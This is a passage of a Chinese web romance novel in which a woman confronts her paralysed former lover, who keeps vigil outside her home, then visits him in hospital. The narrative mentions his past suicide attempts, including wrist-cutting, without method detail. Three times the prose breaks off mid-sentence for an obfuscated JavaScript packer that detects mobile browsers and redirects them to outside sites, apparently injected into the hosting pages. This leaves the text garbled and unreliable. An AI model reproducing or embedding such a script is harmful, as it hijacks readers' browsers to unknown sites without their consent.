他真的好像已经与黑暗融为了一体,如果不是因为那轮子的阴影,如果不是因为风动影不动的违和,她根本不会去注意到他。 “真的是,” 宋知念握着栏杆的手忍不住抓紧,她忍不住喃喃道。 他真的是,不要命了吗? 她这几天没有去店里,翻来覆去的倒是去网上看了些脊髓损伤和高位截瘫的材料,又去询问了家中在医院做医生的表哥,倒也是理解了,为什么傅祈安即使对她有成见,却还是要来见她。 “真的是,疯了。” 宋知念大喘了口气,手掌紧紧捏着栏杆,她的心就像是被人捏住,将她的胸膛搅得生疼。 风中的躁意越发的浓烈,宋知念猛然想起傅瑾承肺炎还没完全好,她猛然转身,推门进入了房内。 她的动作比较着急,那扇玻璃门并未关严,白色的纱帘从门边的缝隙之中钻了出来,在风中肆意地挥舞着。 像是在与谁告别。 傅瑾承坐在楼下,仿如作一尊雕像。 过了一会。 他才勉强扯起嘴角,轻轻地“呵”了一声。 他的那些最难堪一面,那些痛苦的喘息,发病之时无法掌控的身体,那些颤抖的萎缩的下肢,和连他自己都感到可笑的哭泣······ 那些他最不想她看到的一切,都被扒光了暴露在她面前。 她看到了他那般的丑态,现在应该只会觉得恶心吧。 就连他如此隐藏在黑暗之中,都能被她的目光抓住。 然后,她就像是看到什么脏东西一样。 带着厌弃,飞快地消失了。 傅瑾承突然感觉很累。 他的牙齿死死地咬住自己的下嘴唇,疼痛让他维持住了自己的清醒。 而那股血腥味蔓延进了他的口腔,但他却并未松开,只有这样他才能让自己不立刻倒在这里。 “傅总,要不我们先回去吧?”司机在旁边看着他面上的苍白,有些担忧地提议道: “您这几天出来的事情小傅总和谢医生还不知道,要是他们知道了,会……” 他虽然是傅瑾承的专属司机,但是毕竟归属于傅家,要是被傅祈安知道了他每天带着不睡觉的傅瑾承到处溜达,也会受到惩处的。 傅瑾承摇了摇头,目光却还是落在那一处早已经无人的阳台上。 司机见状,也没有再劝,而是叹了口气,退到了旁边。 寂静之中,大门旁边的小门突然发出了嘎吱的一声。 司机下意识地望过去。 那刚刚在阳台上的人就这样出现在了他们的面前。 她还是穿着方才的居家服,脚上只踏着一双白拖鞋,扶着铁门,带着跑动后留下的呼气。 司机没有多看,他回过头,却看到以往平静的傅瑾承此时却像是完全僵硬了一般。 傅瑾承的嘴角都有些哆嗦,他的手搭上自己的手臂,狠狠地掐了一把。 是痛的。 不是幻觉,不是眼花。 也不是梦。 12. 第 12 章 “念念。” 傅瑾承看着眼前站在门内的宋知念,神色略有些恍然。 没有了当时知道她订婚的冲动,没有了发病时候想要将她不顾一切留在自己的身边的勇气。 傅瑾承悲哀地发现,现在这样的他,似乎还没有发病时候的他更加能留住她。 那一瞬间,他突然意识到在她面前发病也挺好的,虽然他厌烦那些疼痛和失控的感觉,虽然那让他的身体、心灵都感到痛苦。 但是如果这样能换得她的怜悯,那样也足够了。 傅瑾承的手放到了自己的腿间,就连眉眼间都染上了几分阴鸷。 宋知念没有注意到他的情绪,她终于喘匀了气,从小铁门内踏了出来。 见宋知念从门内出来,傅瑾承对司机招了招手,嘱咐道:“去车上拿瓶水给我。” 她从小运动天赋就不是很好,初高中每次测800米的时候也都是要死要活的,到了大学之后,又因为省立大学还有每学期体育打卡的次数的要求,每次基本上都是在林芸和傅瑾承的催促下连跑带走、连拖带拉的应付过去的。 就这么从楼上跑下来的这点路,也够她喘一会儿了。 水很快递了过来,傅瑾承垂眸接过水,再抬眼时,眉目间阴鸷已经消失不见,只有眼中的绵绵夏风。 “念念。” 他又喊了声她的名字,这名字被他自己一个人念了无数回,就两个字都能喊出一丝缠绵之情。 她出来见他,他就已经很开心了。 宋知念没有理会傅瑾承的呼唤,她手一挡阻止了要给她送水的司机,快步走到他面前,带着些审视的目光,上上下下地打量他。 路上的路灯不算明亮,但即使在那般昏暗的灯光下,也能看到他苍白如纸的面孔。 傅瑾承很难形容他的心情,他既兴奋宋知念对他的在意和注视,又因为这样的注视,而有些略微的不自在。 现在的他,终究还是丑陋了些。 那消瘦的脸颊,薄嘴上起皮和咬伤的伤口,连他都觉得憎恶难看。 傅瑾承低垂下头,不想再看她。 宋知念看出了他的逃避,她用指腹抵住他的下颌,微微用力,抬起他的脸。 这个突如其来的动作让傅瑾承一时间躲闪不及,宋知念也没有错过他眼中的慌张和自厌。 “你不要命了吗?” 她的声音很冷,又带着浓浓的怒气。 傅瑾承不想回答这个问题,他想要垂眸,却被宋知念所阻拦。 她的手没有挪开,而是用着力,强迫着傅瑾承和她的对视。 “傅瑾承。” 见傅瑾承没有回答,宋知念俯下身,一字一句地问道:“你是不是不想活了?” 他被这个问题问得一时间有些无从招架,他下意识地点点头,又再反应过来之后迅速地摇摇头。 论不想活的话,应该是三年前的他更不想活。 现在的他想活,他想能多看她一天是一天。 “你还真想死啊。” 宋知念看到了傅瑾承第一反应地点头动作,她冷笑一声,松开指尖,退后一步。 “念念。” 傅瑾承的声音有些焦急,但他的目光还是依依不舍地看了眼她刚刚抚过他下颌的指尖。 她离他是那般的近,那股淡淡的留香在此刻却又越发的明显,她的指尖又带着暖意,令他忍不住不想离开。 宋知念抱起手,站在傅瑾承的面前。 她已经看得足够清楚了。 傅瑾承的状态和那天到她店里的状态几乎没有什么区别,甚至于比那天犯了病之后的状态还要糟糕。 下唇上还染着些血迹,这些血迹在他苍白的脸上显得格外。 “除了我的名字,你是不是其他的话都不会说了?”宋知念的目光之中带着些凉意,嘴边的微笑带着些讥讽的意味: “想死也可以,我不拦你,就是别死我家门口。” 他看得到她眼里的不满和讥讽,从他做下那个分手的决定开始,他就不曾妄想过这双眼眸之中还能出现曾经的柔情。 “你放心。” 傅瑾承的脸色越发苍白,被他贝齿蹂躏过的薄唇却因沾着鲜血的原因越发红艳,他笑笑,眼中凄惨更甚:“我不会死在你家门口的。” 他曾经早就想好过自己的结局,或许从在重症监护室中醒来,知道自己已经成为废人开始,他就想了很多自我了结的方式。 傅瑾承的语气之中都带上了无力:“如果我能有死亡的资格,早在三年前,我就应该已经死了。” 死了能够结束痛苦的人生,能够直接阻断他那些蔓延的欲望。 可是,他连自/杀的能力都已经没有了。 他想过放弃治疗,医院的医生护士会在他试图拿掉那些仪器的时候把他的手绑在栏杆上;他想过跳楼,但医护们会在他一次次刻意远离他们后迅速地找到他;他想过吞药,但是可能是因为怕他想不开,那些药日日都被人监管着。 只有一次他差点一点成功了。 当时傅祈安为他削好苹果后就因为公司的事情被叫走了,他挪动了手拿到了那把水果刀,在自己的手腕上狠狠地割了几刀,又若无其事地用被褥遮住了那一片血迹。 傅瑾承已经安排好了所有的一切。 他已经让宋知念恨上了他,他已经把自己能教的教给了傅祈安,他也已经把傅祈安托付给了顾书屿。 只可惜,那些从被褥当中渗透出来的血迹,被来给他翻身的护工看到了。 从此以后,所有尖锐的东西,都不会出现在他的眼前。 “傅总,快到夜里查房的时间了。” 一旁的司机听到那些死不死的话有些担心,他是傅瑾承的心腹,现在也在为傅祈安所用。 按道理他不应该听到他们的对话,但要是傅瑾承出什么事情,他也难辞其咎,只能出声提醒。 他的话引得宋知念的目光向他看去,司机对着宋知念使着眼色,用手指了指自己的左手腕,一副紧张的模样。 宋知念看得懂他的目光,她蹙着眉,就着月光去看傅瑾承的左手。 虽然现在是夏天,但是傅瑾承身上依旧是一件白色的长袖衬衫,衬衫的袖口紧紧扣着,只有他在移动的时候可以模模糊糊看到上方的痕迹。 她上前走了两步,在傅瑾承还未来得及反应过来的时候,一把抓起他的左手,翻转过来。 傅瑾承一时不察,被宋知念抓了个正着。 “我……”傅瑾承的左手有些不自然地缩了缩,试图将手腕藏到衣袖里。 感受到了他的挣扎,她将他的手抓得更紧了些。 他那上面的痕迹太过明显,被她这么抓在手里,完全地暴露无遗。 一条一条细长的伤疤盘踞在他的腕口,有的微微下凹、有的凸起。 他究竟是怎么,把自己折腾成现在这样的? “你先回去好不好。”宋知念没有松开手,她没有对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236340|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看到的景象做出任何的点评,只有她微微颤抖的手暴露了些许她的心情。 她的语气放软了些,只是顺着司机的话接上:“明天应该还要复健,需要早点休息。” “我不想回去。” 傅瑾承摇了摇头,他的理智想从她的手当中抽出,情感上却又有些舍不得,他试探性地回握住了宋知念:“回去也是睡不着。” 他偶尔会嗜睡,偶尔会失眠,嗜睡的时候放任自己完全的沉沦,失眠的时候一开始还能靠药物缓解,后面吃几颗都起不了什么效果。 失眠的时候,只有身体发作,累到极致的时候,才能昏沉地睡过去。 宋知念一时之间,都不知道自己应该如何去面对他。 没有见到他之前,她是恨的,她恨他的不告而别、恨他的欺骗;可见到他之后,那些恨也都成了无力的纠结与矛盾。 她想到了很多可能,最终忘记了这个最像是被命运捉弄的可能。 “别让我回去,可以吗?” 他几乎是卑微地祈求道:“对不起,我知道我做错了。” 这次重逢以来他第一次对她道歉。 但宋知念还是沉默着,手指松开他的手:“有什么事情我们白天再说,你现在是病人,需要休息。” 他却握着她越紧,不肯松开,目光执拗而痛苦。 这句话对他并没有什么用,他一直都会是病人,直到最后生命终结。 宋知念叹了口气,她没有让他松手,也没有对他说放手,只是伸出了空着的手,一根根地,掰开了他的手指。 “念念,别赶我走。”他的声音已经颤抖。 傅瑾承能感受到,随着她的动作,那些温暖正在一点点离开他的手,冷风填补了温暖的缺失,让他如坠冰窖。 破碎的树影落在他的脸颊之上,掩盖住了他发颤的嘴角,却并未遮盖住他的忐忑和不安。 “我知道你恨我,我知道你已经不再爱我,我知道所有的错都是因为我,我知道你恨我的不告而别,恨我让顾书屿和你说的话,恨我三年不找你去说真相,却在现在来打扰你。” 宋知念注视着他,却并未打断。 “我在救护车上就知道自己不会有个健全的身体了,那时我就和顾书屿说,如果真的不好了,不能让你知道我的出事的消息,手术做完去了重症监护室,日子就那样没日没夜地过,我却连手都不太能动,抬起头是我唯一能做的事情,更别提最基础的吃喝拉撒,都是要靠别人甚至药物的帮忙。” “我就像是个活死人,我的□□已经死了,但是灵魂还在这具躯壳之中。” 那样的他,只会带着她一起坠入悲伤的地狱。 “所以,”傅瑾承顿了顿,他的声音之中带着浓浓的自嘲: “我情愿你恨我,我也不想你爱那样的我。” 那样屈辱、可怜、丧失自尊甚至生活不能自理的他。 “我知道了。” 宋知念叹了口气。 她想,她可能也需要冷静一下。 宋知念将傅瑾承握着自己的最后一根手指松开,她并没有用多少力气,说完那番话的傅瑾承都已经无力继续握住她。 “你先回去吧。” 说完,宋知念狠了狠心,转身进入屋内。 树上的叶片被风吹落,掌心之中的余温完全消失,傅瑾承怔怔地看着她离去的背影。 连他都会厌弃这具残破的身体 而又怎么能渴求她的爱。 13. 第 13 章 杭城的夏日,是一年中最难熬的季节。 宋知念早上起得迟了些,到店里已经是中午的时候了。 单单就这么停好车走到店里这短短几分钟的路程,她都被热出了一身汗。 店内,高雅琴和董语早就已经做好了备餐的准备,琳琅满目的甜品被摆在冷藏柜之中,令人垂涎。 高雅琴除了咖啡做得好之外,在烘焙和厨艺上也是一流,店内的甜品绝大多数都出自她的手。 “来了呀。”高雅琴随口问道:“今天想喝什么?” 她们有好几种豆子,宋知念每日喝什么大多也是靠当天的心情决定。 “手冲的深烘曼特宁,浓一些的吧。” 宋知念坐到吧台上,手撑着下巴,有些奄奄地说道:“三明治也给我一份。” 她今天明显精神不佳,高雅琴送来的手冲,都没有细品,直接如同牛饮一样猛灌了几口。 等高雅琴端着三明治过来的时候,杯子之中已经空了一半。 高雅琴把盘子推到宋知念面前,也没着急着离开,而是干脆隔着吧台和宋知念面对面坐下。 “看你一脸疲惫的模样,昨晚没睡好吗?” 高雅琴拿过旁边的水瓶,给宋知念倒了杯柠檬苏打水,放到咖啡杯旁。 宋知念很少有这样看上去疲惫的姿态。 她虽然平日里就是个温和安静的人,但是眼眸流转间还是会有这个年纪应该有的灵动。 “没有睡好,在想一些事情。” 宋知念摇摇头,像是遮掩似的,低头咬了口三明治,用动作遮住了她眼中的复杂。 “在想上次到店的那位男士?”高雅琴托着腮,颇有些兴趣。 毕竟,在她这种离婚之后毫无感情欲望的人看来,宋知念一直都像是对感情无欲无求一般。 那些世人眼中的爱恨情仇在她眼里还没有旺财今天又偷吃了零食来得重要。 刚开店的时候有熟客猛烈地追求了宋知念好一阵子,最后还是被当着众人的面拒绝,这才恼羞成怒地罢休。 后来这个未婚夫也是,她们问她为什么要订婚,得到的结论也不过就是老一辈爷爷奶奶的要求罢了。 她就像是对感情已经丧失了兴趣的人。 只是有时林芸过来的时候,她们才能看到她眼中那一丝丝怀念的痕迹。 董语这几个小姑娘一直有过猜测,她们觉得宋知念要么就是受过情伤,要么就是心里一直藏着一个人。 而这个答案,似乎也在那天被印证了。 “都猜到了呀。”宋知念无奈地耸耸肩,她并不奇怪她们能猜测到,毕竟她那天的行为确实有些过于情绪化。 高雅琴白了眼宋知念:“是个人都能猜到好不好,又不是瞎。” 那是她们第一次看到宋知念发火,也是第一次看到宋知念那般的紧张。 那些伪装在她脸上的平静面具,似乎在那个时候才真正地破碎。 只是破碎的平静下,却是那般带着浓烈的悲伤。 宋知念轻笑一声,又端起咖啡杯,抿了一口。 深烘曼特宁,带着浓烈的苦涩,细细品来,尾调却又是回甘的。 她刚喝得太快,唇齿间只留下了苦涩。 “那是,你初恋?还是老情人?”高雅琴看着宋知念,猜测道: “他看起来……身体并不太好。” 作为过来人,她看得出来那天两人对视僵持下的难掩的心绪,他们虽然在对峙,但是两人之间却又有着别人难以参与进去的壁垒。 和对那些未婚夫、追求者都不一样,此时的宋知念虽然愤怒、虽然纠结,但是多了几分鲜活。 “身体哪里只是不太好。”宋知念冷笑一声,重重地放下茶杯: “我看他是不想活了。” 宋知念这几天本来就因为傅瑾承的事情翻来覆去地睡不好,她今天凌晨上楼之后也没有马上睡觉,想听听声音看傅瑾承是什么时间走的。 可在上楼之后,她愣生生都要把自己熬睡着的时候,才听到了楼下汽车的发动。 真真是,惹人心烦。 宋知念暗暗咬紧了后槽牙。 “啊?” 高雅琴一时还没有理解宋知念的意思,就听到了宋知念手机震动的声音。 宋知念点开手机,是她们家的管家。 今早起床后,她不是特别放心傅瑾承,还是托管家去查了这几天家门口的监控。 看这样子,应该是有监控的信息了。 管家一连串发来了三四个视频,每个视频的时间都不等,最长的六个小时,有的是两三个小时,最短的一个只有十分钟。 所有的视频都按照时间顺序标好了,宋知念点开第一个视频,看到了上面的日期。 那是四天前的晚上。 宋知念记得那天,那天就是傅祈安来找她的日期。 因为和傅祈安的对话,让她那天早早地就离开了店里,先回家休息,此后的几天也一直没有怎么去店里。 直到今天。 那应该是傅瑾承第一次深夜来她家楼下,他是夜里十二点半左右到的。 宋知念拖了进度条,发现傅瑾承是愣生生在她家楼下坐到了凌晨三点,才离开。 第二天的视频是最短的,傅瑾承待着时间不长。 他是半夜一点多到的,坐着轮椅从车上下来的时候脸色就不好,在外面坐了几分钟就开始整个人控制不住地抖动,司机赶快把他推回了车里。 第三天,傅瑾承又来了。 他又是半夜一点到的,在她家楼下坐到了三点多,才离开。 最后是昨天。 在昨天见到她之前,他已经一个人在楼下待了两个小时。 宋知念拉到了最后,看到他离开的时候,已经到了早上五点多 疯了。 真的是疯了。 这个人是真的不把自己的身体当回事。 宋知念看得都有些火大,她一把拿起气泡水,喝了大半杯,任由带着柠檬香气的气泡冲洗干净唇齿间留下的苦涩。 才勉强咽下了那股无名火。 “怎么了。”高雅琴有些疑惑地问道。 宋知念摇摇头,没说什么,只是把视频转发给林芸后收起手机,恶狠狠地咬了几口三明治。 三明治的内陷是新奥尔良鸡排,宋知念咬得用力,像是在发泄。 天天这么熬夜,先不说他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236341|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具破躯体了,就这个年龄熬这个夜都能把他累死。 等她吃完早午饭,那边的林芸应该已经看完了视频。 一向面对学生能说会道的林芸好像第一次丧失了语文表达能力,她只回了宋知念六个点点附带一张表情包: 流泪芸芸猫:[神经病吧].jpg 这几天宋知念没去店里,闲着没事的时候都在和林芸有一搭没一搭地聊着天。 流泪芸芸猫:他真不要命了啊,我去问下顾书屿那个蠢货,一个病人他们怎么都看不住。 林芸和顾书屿大学的时候也是学生会上下级,加上后来因为傅瑾承和宋知念的事情,林芸和顾书屿也是在学校大吵过几架。 只能说不吵不相识,吵完之后两个人的关系倒是还可以,逢年过节有事没事倒是能吵一两回, 等顾书屿毕业之后,两个人的联系也就只有朋友圈的点赞了。 不过因为最近傅瑾承的出现,林芸倒是也和顾书屿恢复了聊上了这么一两句顺便吵一两次架的习惯。 流泪芸芸猫:今天周末,那个蠢货竟然不接我电话??? 林芸的下一句话还在显示“正在输入中”,而那个她嘴中蠢货的通话界面突然在宋知念的手机页面中弹了出来。 宋知念想想,还是点了同意。 “喂,宋学妹吗?” 顾书屿对宋知念说话的时候倒是不像是对林芸说话那样完全地随意。 宋知念不清楚顾书屿摁掉林芸电话给自己打的意义,但是大概还是围绕傅瑾承。 她低低地应了声。 顾书屿似乎有些为难和踌躇,他叹了口气:“你……” 他不像是傅祈安什么都不知道。 在很长一段时间之中,他看到了宋知念从一个时不时都会在傅瑾承身边笑着的女孩子在他面前哭着质问,看着她努力忘记傅瑾承重新开始新生活的挣扎。 说没有愧疚,也不可能。 上次来请她,本身已经是厚着脸皮来了。 他的旁边有些喧闹,周围有许多人声,还有熟悉的叫号声音。 “学妹,你现在有空吗?”顾书屿狠了狠心,抬眼看了眼远处的病房。 玻璃门内的原本宁静的病房现在已经人来人往的,医生和护士不断地往返于病房与外面。 即使被宋知念恨上,即使被林芸揪着耳朵骂,顾书屿还是想要试试。 “我现在还是有空的。”宋知念环顾了一下店内四周。 店里没什么客人,最近天气热,游客也不大愿意出街,来往的都是常客。 宋知念有些疑惑问:“怎么了吗?” 听到她现在有空的消息,顾书屿倒是松了口气。 “我想请你来医院一趟,可以吗?”他语气十分诚恳地恳求道: “不管是看在我和你的交情,还是看在傅瑾承每天晚上去你家楼下不睡觉吹风的导致病情加重地份上……” 宋知念上一次的拒绝还历历在目。 “来一趟医院,可以吗?”顾书屿停顿了下,恳切道:“师兄求你。” 手机因为刚刚观看监控的原因还有些滚烫,烫得她的手心不自觉得出汗。 “他,怎么了?” 14. 第 14 章 宋知念赶到医院,就看到顾书屿坐立不安地站在医院的大楼门口。 她把车停在他的面前,摇下窗户,招呼道:“顾学长。” 看到她的出现,顾书屿也忍不住松了口气。 他一边打手势示意自己身后的秘书上前到驾驶座的车门边,一边殷勤问好:“学妹,你直接和我上去吧,车子我让秘书帮你停好。” “好。”宋知念点头应道。 来这家康复医院的病人算不得少,有时候宋知念带母亲来看病也找不到车位。可是他们家和医疗产业牵扯不多,家里老人又觉得在医院来个vip车位有些不吉利。 几次之后,宋知念干脆让家里的司机来回接送。 她推开门下了车,车钥匙交给了跟在顾书屿的秘书,就跟着顾书屿上了楼。 宋知念一路都没怎么说话,顾书屿有些受不了这诡异的氛围,几次悄咪咪地偷瞄宋知念,却也没明白宋知念究竟在想什么。 “咳。” 顾书屿假装咳嗽了一声,见宋知念没有理他,不得不又咳嗽了几声:“咳、咳。” 宋知念抬头看了他一眼,默默地往电梯旁边退了一步,拉大了与顾书屿的距离。 她脸上的表情并没有改变,但顾书屿还是莫名察觉到了她身上的一丝嫌弃。 顾书屿捏着拳的手一顿,迟疑着放了下来。 “学妹啊。”他清了清嗓子:“真的是太感谢你了,这么大热天跑一趟。” 在愧疚和纠结之下,顾书屿的没话找话显得有些过于明显。 喊宋知念来这件事情,是顾书屿和谢医生的决定,他们都还没有告诉傅瑾承。 “这个……” 顾书屿余光看着不断上升的电梯楼层,犹豫道:“学妹,你也知道现在阿承的身体不太好,所以待会见了面,你能不能……” 你能不能,对他说点好话。 顾书屿踌躇了一下,没有将话说完,但是宋知念还是明白他的未尽之意。 “他到底怎么回事。” 宋知念没有回答顾书屿的问题,她望着面前紧闭的电梯门,开口却是另外一件事情。 刚刚在电话之中顾书屿说得含含糊糊的,只说傅瑾承情况不是太好,原本定好的出院时间一拖再拖,现在甚至还要继续延长他的住院时间。 “这几天可能晚上吹了风,他一直都有些不舒服,但是怕医生不让他偷偷出去,一直都忍着没说。”顾书屿说起来,语气之中也有些无奈。 从傅瑾承第一天晚上出去,谢医生和傅祈安就已经收到来自值班护士尖锐暴鸣声的信息了。 但是第二天他们来看傅瑾承的时候,见傅瑾承心情状态比前面几天也都好了不少,也便默认了傅瑾承我行我素的行为。 只是今天早上一回来,傅瑾承的状态就不是特别对劲。 先是护工过来给发现傅瑾承变换卧位的时候发现傅瑾承高烧不断,再是发现因为夜里轮椅一直坐一个姿势,导致傅瑾承脆弱的下肢皮肤又产生了压疮。 护士和值班医生凌晨先对傅瑾承进行了常规治疗、又给压疮的地方换好了药物。 早上检查一做,又检查出来傅瑾承肺炎有加重的倾向,并伴有高烧。 “你是知道的,他的心肺功能本来就会弱于常人。”顾书屿有些担忧地说道:“早上发烧又发得连人都不认识了,我想了想,还是想觍着脸来求一下你。” “幸好……” 幸好,这一次的宋知念没有再拒绝。 顾书屿隐晦地看了眼宋知念的左手,玉指纤细,指间已经是空空如也。 那枚刺激地傅瑾承身心问题几乎同时发作的戒指已经被宋知念摘了下来。 虽然不知道究竟是宋知念细心,还是她的婚约出了事,但顾书屿还是忍不住在心里松了口气。 叮咚—— 他们脚下的电梯开始受到阻力,停在了这幢楼的最上层。 电梯门打开,顾书屿率先走了出去,他站在门边,转身对宋知念做了个请的手势。 “学妹,走吧。” 宋知念不是第一次到这层楼,陪母亲理疗、外加上一次傅瑾承晕倒急匆匆送回医院的事情还历历在目。 但也是第一次,看到两三名医生站在vip病房门口,不知道在交谈什么。 “那些都是阿承医疗团队的医生。”顾书屿对宋知念介绍道: “谢医生你已经见过了,旁边戴着黑框眼镜的心理医生陈医生,对面那位是胡医生,今天早上他体温一直下不来,团队里其他科的医生都来了一趟。” 早上在医院的本来是傅祈安,他不放心傅瑾承的情况,让团队集体会诊了一次。 但因为公司有急事,傅祈安确定傅瑾承没什么大碍之后,就先回公司处理紧急事务了,临走前将顾书屿从睡梦中拽了起来和他轮班。 宋知念对几名医生微微颔首,算是打过招呼。 在这几位医生中,她只和谢医生有过接触,便也单独对谢医生礼貌地笑了笑,和顾书屿先进了病房。 房间之中不似之前那般昏暗,遮光帘已经被人拉开,纱帘阻挡了阳光的直接照射,却也将光亮带给了整间房间, 他是背对着他们侧躺着的,脸对着窗户,远远地,只能看到被褥之中有一个白色的鼓包。 顾书屿走到了纱帘前,先是摸了摸傅瑾承的额头,又是皱着眉去摸他的手。 他身上的温度依旧炽热,挂钩上一袋袋的药物正顺着针头一点点注入他的体内,但似乎并没有起到多少作用。 “阿承。” 顾书屿轻轻拍了拍傅瑾承的肩膀,似乎想要将他唤醒:“醒一醒,你早饭和午饭都没有吃,先起来吃一些?” 床上的人微微地摇了摇头,却没有说话。 “好吧。” 顾书屿无奈地退开,他抬起头看向宋知念,耸了耸肩,脸上露出无奈。 “你看,就是这样。”顾书屿用嘴唇对宋知念说:“一直都吃不下东西。” “去让他们把午饭重新准备一下。”在病房的沉默间,宋知念突然出声开口。 她的声音在病房之中格外的明显。 顾书屿愣了一下,更别说躺在床上的傅瑾承。 傅瑾承挣扎得想要睁开眼,但是他的眼前还是有些模模糊糊。 “啊……”顾书屿有些犹豫:“学妹,你是说?” “麻烦让他们去重新准备一下午饭。”宋知念床边走了两步。 她现在是面对着顾书屿站着的,中间隔着个傅瑾承。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15236342|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 以她这个角度看去,只能看到他那有些懵懵懂懂的双眼,和额间被汗水浸湿的发丝。 被子应该是特地换了个薄被,柔弱的脚被露出来了一些,为了防止足下垂,他的脚底板下抵着沙袋和抱枕,而在脚的后方,还能看到被白色纱布轻裹住的皮肤。 现在已经快下午两点了,他什么东西都没吃过,真的是生怕自己的病好太快了。 顾书屿反应了过来,他点了点头,大步往病房外走去。 “念……念?” 傅瑾承听到了宋知念的声音,他打着点滴的右手挣扎着向后撑在了靠枕上,想要自己翻身过来。 他已经可以自主翻身,但是身后的被褥和发烧导致的脱力还是让他仅仅勉强起了起身,便重新倒回到了床上。 傅瑾承喘着气,还想再努力一把,却被一只手按住了他的动作。 “老实躺着,不要乱动。” 宋知念的手按在了他的肩上。 他的肩膀是有感觉的,但是不知道是不是因为下半身神经的消失,傅瑾承的上半身的触觉分外敏感。 仅仅是宋知念这么一搭,他都能隔着衬衫感觉到她掌心的凉意。 “我想看看你。” 傅瑾承的声音之中都有些颤抖。 宋知念默默地在心里叹了口气,还是松开了手,绕到傅瑾承面前。 她不想原谅的是这三年的痛苦,她不想原谅的是他那般自以为是地为她好。 可看到他这般模样,她也还是不忍。 那只手的离开让傅瑾承有一瞬间的僵硬,但在他看到眼前宋知念的时候,那身躯也便慢慢放松了下来。 “让你看了。” 宋知念坐到床边的椅子上,平静道:“休息一下,存点力气,待会儿吃点东西。” 傅瑾承摇了摇头,他的脸上苍白、双颊却是不正常的潮红。 面对宋知念有些不满的目光,傅瑾承倦道: “念念,我真的吃不下。” 别说是高位截瘫的患者了,就是普通人感冒发烧了也都没有胃口。 他说一句话都要停下来存积下力气。 “我真的好疼。” 他浑身都疼得厉害,声音的颤抖除了情绪更多的却是因为身体的原因,刚刚和顾书屿没有说话也不是因为懒得说,是实在痛的说不出话。 如果可以,他情愿把自己现在蜷曲在一起,去对抗身体内的疼痛。 他的右手从被褥当中伸出来,伸到宋知念起面前。 就这样的动作,都让他的额间冒出了一层的冷汗。 他没有说话,只是眼巴巴地看着她。 宋知念看得懂他的目光和动作,她的目光越过他的脸,落于他身后床头的那盏小灯,那盏昏黄的小灯依旧亮着,只是在白日之中并不明显。 傅瑾承等了很久,从希冀到失落,从清醒等到了昏沉。 在他即将被身体再一次拉入深渊的时候,他的指尖被人抓住,将他的意识从黑暗之中拉了出来。 傅瑾承的指尖颤了颤,他用着力,勾住了她的手指,就像用尽最后力气,拉住了他的希望。 有婚约也罢、有未婚夫也无所谓。 他求得不多。 这样就足够了。 15. 第 15 章 仪器的滴答声环绕在她的耳边,宋知念感受着指尖上的力量,目光凝视在他的身上。 接连几日的失眠在他的眼眶下留下了黑色的烙印,在惨白的脸上分外明显,记忆之中艳红的唇已经完全被苍白所取代,上面干裂脱裂的皮彰显着主人的身体状况。 他的指尖是滚烫的,脸上的神色也不是很安宁,蹙着眉、抿着唇,脸上的肌肉绷得紧紧的。 即使已经进入了梦境,他似乎还在被疼痛所袭扰。 在宋知念的记忆之中,曾经的他从来不会露出这样的神色。 即使因为下面的学生干部那些现在看起来可笑的矛盾,即使因为公司里给他打来的求助电话,那些在她看起来复杂的问题,在他眼里总是能轻而易举地解决。 宋知念有一次无意当中问过他是如何处理、协调这些繁杂事务的,却也只得到了傅瑾承的两个字: “人心。” 他那时她站在主楼的顶层,目光悠远望着远处的青云,端的是一副光风霁月的模样。 哪像是如今。 宋知念动了动自己的手,她这个姿势已经有些久了,胳膊都有些麻了,她轻轻抽动了下手臂,想要改变下姿势。 下一刻,他像是被她的动静惊醒了一般,眼皮子半张半阖的,含糊间听到了他哼唧唧的声音。 “我把你吵醒了?”宋知念小声问道,她凑过去,看着他迷蒙的眼眸: “你这几天没睡好,要不要再睡一会儿?” 傅瑾承烧得有些模糊,他下意识地点了点头。 因为生病,他有些分辨不清面前的景象,只;有他的右手下意识地握紧了她。 “那你再睡一会儿好不好?” 宋知念也不知道自己哪里来的耐心,她轻声细语地哄着,试图让他在休息一下。 他这次终于听清了她的话,但他摇了摇头。 迷迷糊糊的却是将右手缩进了被子里,压着她的手放在了自己的胸前。 宋知念的左手被他牵着,手背所抵的手心是滚烫的,她心神不安,只能用右手摸摸他的额头。 他额间的温度烫得吓人。 “休息好才能好得快呀。”宋知念叹了口气,试图和面前已经没有条理的病患说道理。 他固执地摇了摇头,嘟囔道:“不想闭眼。” 傅瑾承看着她,眸光涣散,但眼神中却带着执拗: “闭上眼睛,再睁开的时候,就没有你了。” 他上一次也是看到了真实的她,但是再一睁眼,她就不在了。 他很累,但他也想一直看着她。 